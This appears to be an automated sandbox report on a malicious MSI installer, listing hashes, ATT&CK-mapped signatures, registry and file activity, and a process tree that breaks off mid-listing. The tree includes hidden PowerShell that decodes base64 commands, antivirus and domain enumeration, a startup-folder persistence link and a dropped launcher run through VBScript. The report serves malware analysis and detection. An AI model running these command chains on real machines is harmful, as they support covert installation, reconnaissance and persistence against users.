8f2e3739fc59a37623ea8ac1782f773ab6668e9108789fcb7cca9b3504a4e00a

Analysis

max time kernel
149s
max time network
139s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
11/11/2026, 17:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
U11.msi
Size 40KB
Sample261111-vm2khsax4t
SHA256 8f2e3739fc59a37623ea8ac1782f773ab6668e9108789fcb7cca9b3504a4e00a
MD5 2e4eededd83f7aeb47ba963aa61a8ef6
SHA1 859b02d6ee1c3328b6e9bec49290427b029e9548
SHA512 c36fd6bc70c73fb21b73b5e2907048f87a7964061c9bedbaaa3adaa613b93e986c208030d81b19605e068553ba603289b102a9606ba185ab1003c1ca8c4dd625
SSDEEP 768:U0SJfd7oirqd+XMDZlMM27xtLgWMbCkGWvBz/z/i:0lU4UjtaSbx1BS
TLSH
T166037C0AB6448336D9450B32466F87D48F766C5CCFB321123AEE774D2D729A066F78E8
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution persistence privilege_escalation ransomware

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 15 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2052	powershell.exe
2972	powershell.exe
3688	powershell.exe
4364	powershell.exe
2816	powershell.exe
3980	powershell.exe
2152	powershell.exe
2032	powershell.exe
1508	powershell.exe
1776	powershell.exe
2052	powershell.exe
2032	powershell.exe
4368	powershell.exe
2880	powershell.exe
2872	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\Control Panel\International\Geo\Nation	wscript.exe

Creates a file in the Startup directory 1 TTPs 1 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RunPostSetup.lnk	msiexec.exe

Executes dropped EXE 1 IoCs

pid	Process
2024	AppLauncher.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
3732	wscript.exe

Drops file in Windows directory 8 IoCs

description	ioc	Process
File created	C:\Windows\Installer\e591cc5.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e591cc5.msi	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{0CC294A0-04B5-4AC5-8D2E-61A6D57F0382}	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI1DBF.tmp	msiexec.exe
File created	C:\Windows\Installer\e591cc7.msi	msiexec.exe

Queries registry keys for unique system GUIDs 1 TTPs 2 IoCs

Queries the MachineGuid or HwProfileGuid value from the command line, commonly used to create a unique victim ID.

discovery

System Information Discovery

T1082

pid	Process
1200	reg.exe
512	reg.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
1956	msiexec.exe

Executes a command shell one-liner 1 TTPs 21 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4212	cmd.exe
3264	cmd.exe
1052	cmd.exe
1832	cmd.exe
4848	cmd.exe
3156	cmd.exe
4596	cmd.exe
3180	cmd.exe
3260	cmd.exe
2572	cmd.exe
3980	cmd.exe
932	cmd.exe
1808	cmd.exe
4312	cmd.exe
4528	cmd.exe
4988	cmd.exe
64	cmd.exe
3196	cmd.exe
4748	cmd.exe
2204	cmd.exe
3832	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	AppLauncher.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	AppLauncher.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000c311d2c4ba4812b50000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000c311d2c40000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff000000000700010000680900c311d2c4000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1ac311d2c4000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1dc311d2c4000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Checks processor information in registry 2 TTPs 24 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AppLauncher.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	AppLauncher.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	AppLauncher.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	AppLauncher.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	AppLauncher.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	AppLauncher.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	AppLauncher.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	AppLauncher.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	AppLauncher.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	AppLauncher.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	AppLauncher.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	AppLauncher.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	AppLauncher.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	AppLauncher.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	AppLauncher.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	AppLauncher.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	AppLauncher.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	AppLauncher.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	AppLauncher.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AppLauncher.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	AppLauncher.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	AppLauncher.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	AppLauncher.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	AppLauncher.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 41 IoCs

pid	Process
3604	msiexec.exe
3604	msiexec.exe
4368	powershell.exe
4368	powershell.exe
4368	powershell.exe
2880	powershell.exe
2880	powershell.exe
2880	powershell.exe
2872	powershell.exe
2872	powershell.exe
2872	powershell.exe
4364	powershell.exe
4364	powershell.exe
4364	powershell.exe
1776	powershell.exe
1776	powershell.exe
1776	powershell.exe
2816	powershell.exe
2816	powershell.exe
2816	powershell.exe
2052	powershell.exe
2052	powershell.exe
2052	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
2152	powershell.exe
2152	powershell.exe
2152	powershell.exe
2972	powershell.exe
2972	powershell.exe
2972	powershell.exe
2032	powershell.exe
2032	powershell.exe
2032	powershell.exe
1508	powershell.exe
1508	powershell.exe
1508	powershell.exe
3688	powershell.exe
3688	powershell.exe
3688	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1956	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1956	msiexec.exe
Token: SeSecurityPrivilege	3604	msiexec.exe
Token: SeCreateTokenPrivilege	1956	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	1956	msiexec.exe
Token: SeLockMemoryPrivilege	1956	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1956	msiexec.exe
Token: SeMachineAccountPrivilege	1956	msiexec.exe
Token: SeTcbPrivilege	1956	msiexec.exe
Token: SeSecurityPrivilege	1956	msiexec.exe
Token: SeTakeOwnershipPrivilege	1956	msiexec.exe
Token: SeLoadDriverPrivilege	1956	msiexec.exe
Token: SeSystemProfilePrivilege	1956	msiexec.exe
Token: SeSystemtimePrivilege	1956	msiexec.exe
Token: SeProfSingleProcessPrivilege	1956	msiexec.exe
Token: SeIncBasePriorityPrivilege	1956	msiexec.exe
Token: SeCreatePagefilePrivilege	1956	msiexec.exe
Token: SeCreatePermanentPrivilege	1956	msiexec.exe
Token: SeBackupPrivilege	1956	msiexec.exe
Token: SeRestorePrivilege	1956	msiexec.exe
Token: SeShutdownPrivilege	1956	msiexec.exe
Token: SeDebugPrivilege	1956	msiexec.exe
Token: SeAuditPrivilege	1956	msiexec.exe
Token: SeSystemEnvironmentPrivilege	1956	msiexec.exe
Token: SeChangeNotifyPrivilege	1956	msiexec.exe
Token: SeRemoteShutdownPrivilege	1956	msiexec.exe
Token: SeUndockPrivilege	1956	msiexec.exe
Token: SeSyncAgentPrivilege	1956	msiexec.exe
Token: SeEnableDelegationPrivilege	1956	msiexec.exe
Token: SeManageVolumePrivilege	1956	msiexec.exe
Token: SeImpersonatePrivilege	1956	msiexec.exe
Token: SeCreateGlobalPrivilege	1956	msiexec.exe
Token: SeBackupPrivilege	5104	vssvc.exe
Token: SeRestorePrivilege	5104	vssvc.exe
Token: SeAuditPrivilege	5104	vssvc.exe
Token: SeBackupPrivilege	3604	msiexec.exe
Token: SeRestorePrivilege	3604	msiexec.exe
Token: SeRestorePrivilege	3604	msiexec.exe
Token: SeTakeOwnershipPrivilege	3604	msiexec.exe
Token: SeRestorePrivilege	3604	msiexec.exe
Token: SeTakeOwnershipPrivilege	3604	msiexec.exe
Token: SeRestorePrivilege	3604	msiexec.exe
Token: SeTakeOwnershipPrivilege	3604	msiexec.exe
Token: SeRestorePrivilege	3604	msiexec.exe
Token: SeTakeOwnershipPrivilege	3604	msiexec.exe
Token: SeRestorePrivilege	3604	msiexec.exe
Token: SeTakeOwnershipPrivilege	3604	msiexec.exe
Token: SeRestorePrivilege	3604	msiexec.exe
Token: SeTakeOwnershipPrivilege	3604	msiexec.exe
Token: SeRestorePrivilege	3604	msiexec.exe
Token: SeTakeOwnershipPrivilege	3604	msiexec.exe
Token: SeRestorePrivilege	3604	msiexec.exe
Token: SeTakeOwnershipPrivilege	3604	msiexec.exe
Token: SeRestorePrivilege	3604	msiexec.exe
Token: SeTakeOwnershipPrivilege	3604	msiexec.exe
Token: SeRestorePrivilege	3604	msiexec.exe
Token: SeTakeOwnershipPrivilege	3604	msiexec.exe
Token: SeRestorePrivilege	3604	msiexec.exe
Token: SeTakeOwnershipPrivilege	3604	msiexec.exe
Token: SeRestorePrivilege	3604	msiexec.exe
Token: SeTakeOwnershipPrivilege	3604	msiexec.exe
Token: SeRestorePrivilege	3604	msiexec.exe
Token: SeTakeOwnershipPrivilege	3604	msiexec.exe
Token: SeRestorePrivilege	3604	msiexec.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1956	msiexec.exe
1956	msiexec.exe

Suspicious use of WriteProcessMemory 49 IoCs

description	pid	Process	procid_target
PID 3604 wrote to memory of 3396	3604	msiexec.exe	96
PID 3604 wrote to memory of 932	3604	msiexec.exe	98
PID 932 wrote to memory of 1808	932	cmd.exe	102
PID 1808 wrote to memory of 64	1808	cmd.exe	105
PID 64 wrote to memory of 4368	64	cmd.exe	106
PID 1808 wrote to memory of 4312	1808	cmd.exe	109
PID 4312 wrote to memory of 2880	4312	cmd.exe	110
PID 1808 wrote to memory of 3196	1808	cmd.exe	111
PID 3196 wrote to memory of 2872	3196	cmd.exe	112
PID 1808 wrote to memory of 1900	1808	cmd.exe	171
PID 1808 wrote to memory of 4232	1808	cmd.exe	114
PID 1808 wrote to memory of 1212	1808	cmd.exe	115
PID 1808 wrote to memory of 3656	1808	cmd.exe	116
PID 1808 wrote to memory of 3732	1808	cmd.exe	117
PID 3732 wrote to memory of 2024	3732	wscript.exe	118
PID 2024 wrote to memory of 3180	2024	AppLauncher.exe	120
PID 3180 wrote to memory of 4364	3180	cmd.exe	122
PID 2024 wrote to memory of 3264	2024	AppLauncher.exe	123
PID 3264 wrote to memory of 1776	3264	cmd.exe	125
PID 2024 wrote to memory of 3260	2024	AppLauncher.exe	126
PID 3260 wrote to memory of 2816	3260	cmd.exe	128
PID 2024 wrote to memory of 1052	2024	AppLauncher.exe	130
PID 1052 wrote to memory of 2052	1052	cmd.exe	132
PID 2024 wrote to memory of 4748	2024	AppLauncher.exe	133
PID 4748 wrote to memory of 3980	4748	cmd.exe	155
PID 2024 wrote to memory of 1832	2024	AppLauncher.exe	136
PID 1832 wrote to memory of 2152	1832	cmd.exe	138
PID 2024 wrote to memory of 4528	2024	AppLauncher.exe	139
PID 4528 wrote to memory of 1384	4528	cmd.exe	141
PID 1384 wrote to memory of 4076	1384	net.exe	142
PID 2024 wrote to memory of 4848	2024	AppLauncher.exe	143
PID 4848 wrote to memory of 4500	4848	cmd.exe	145
PID 2024 wrote to memory of 4212	2024	AppLauncher.exe	146
PID 4212 wrote to memory of 1200	4212	cmd.exe	162
PID 2024 wrote to memory of 2572	2024	AppLauncher.exe	149
PID 2572 wrote to memory of 2972	2572	cmd.exe	151
PID 2024 wrote to memory of 3156	2024	AppLauncher.exe	152
PID 3156 wrote to memory of 2032	3156	cmd.exe	154
PID 2024 wrote to memory of 3980	2024	AppLauncher.exe	155
PID 3980 wrote to memory of 1508	3980	cmd.exe	157
PID 2024 wrote to memory of 2204	2024	AppLauncher.exe	158
PID 2204 wrote to memory of 3688	2204	cmd.exe	160
PID 2024 wrote to memory of 3832	2024	AppLauncher.exe	161
PID 3832 wrote to memory of 2172	3832	cmd.exe	163
PID 2172 wrote to memory of 948	2172	net.exe	164
PID 2024 wrote to memory of 4596	2024	AppLauncher.exe	165
PID 4596 wrote to memory of 2944	4596	cmd.exe	167
PID 2024 wrote to memory of 4988	2024	AppLauncher.exe	168
PID 4988 wrote to memory of 512	4988	cmd.exe	170

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\U11.msi
1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1956

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Creates a file in the Startup directory
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3604
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:3396
- C:\Windows\system32\cmd.exe
  cmd /c "RunPostSetup.cmd"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:932
- - C:\Windows\system32\cmd.exe
    cmd.exe /C call "C:\Users\Admin\AppData\Local\Oung527xbvdy\RunPostSetup.cmd" AFTERCOPY
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1808
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$b=$env:UPDATE_FEED_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:64
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$b=$env:UPDATE_FEED_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4368
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$b=$env:BUNDLE_DIR_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:4312
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$b=$env:BUNDLE_DIR_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2880
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$b=$env:PRIMARY_EXE_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:3196
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$b=$env:PRIMARY_EXE_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2872
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" ver "
      4⤵
      PID:1900
  - - C:\Windows\system32\findstr.exe
      findstr /I /R "10\. 11\."
      4⤵
      PID:4232
  - - C:\Windows\System32\curl.exe
      "C:\Windows\System32\curl.exe" -L -f -sS -o "C:\Users\Admin\AppData\Local\Temp\UcP30KkB_Itj9ZJzMbi_7276.zip" "https://nodejs.org/dist/v18.17.0/node-v18.17.0-win-x64.zip"
      4⤵
      PID:1212
  - - C:\Windows\System32\tar.exe
      "C:\Windows\System32\tar.exe" -xf "C:\Users\Admin\AppData\Local\Temp\UcP30KkB_Itj9ZJzMbi_7276.zip" -C "C:\Users\Admin\AppData\Local\Oung527xbvdy"
      4⤵
      PID:3656
  - - C:\Windows\System32\wscript.exe
      "C:\Windows\System32\WScript.exe" //B //Nologo "C:\Users\Admin\AppData\Local\Oung527xbvdy\regb1jblz.vbs" "C:\Users\Admin\AppData\Local\Oung527xbvdy\SharedRuntimen5\AppLauncher.exe" "C:\Users\Admin\AppData\Local\Oung527xbvdy\DW8VnS1rqWvH.cfg"
      4⤵
      Checks computer location settings
      Executes a VBScript file via the Windows Script Host.
      Suspicious use of WriteProcessMemory
      PID:3732
    - - C:\Users\Admin\AppData\Local\Oung527xbvdy\SharedRuntimen5\AppLauncher.exe
        
        "C:\Users\Admin\AppData\Local\Oung527xbvdy\SharedRuntimen5\AppLauncher.exe" "C:\Users\Admin\AppData\Local\Oung527xbvdy\DW8VnS1rqWvH.cfg"
        5⤵
        Executes dropped EXE
        Reads the TCP/IP host and domain name from the registry
        Checks processor information in registry
        Suspicious use of WriteProcessMemory
        
        PID:2024
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "[System.Globalization.CultureInfo]::InstalledUICulture.Name""
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:3180
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "[System.Globalization.CultureInfo]::InstalledUICulture.Name"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4364
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "[System.Globalization.CultureInfo]::InstalledUICulture.Name""
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:3264
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "[System.Globalization.CultureInfo]::InstalledUICulture.Name"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1776
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_VideoController).Name -join ', '""
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:3260
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_VideoController).Name -join ', '"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2816
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "try { (Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct -EA Stop).displayName -join ', ' } catch { 'none' }""
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:1052
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "try { (Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct -EA Stop).displayName -join ', ' } catch { 'none' }"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2052
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_ComputerSystem).Domain""
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:4748
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_ComputerSystem).Domain"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3980
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_ComputerSystem).PartOfDomain""
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:1832
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_ComputerSystem).PartOfDomain"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2152
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "net session"
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:4528
        
        C:\Windows\system32\net.exe
        
        net session
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:1384
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        8⤵
        
        PID:4076
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName"
        6⤵
        Executes a command shell one-liner
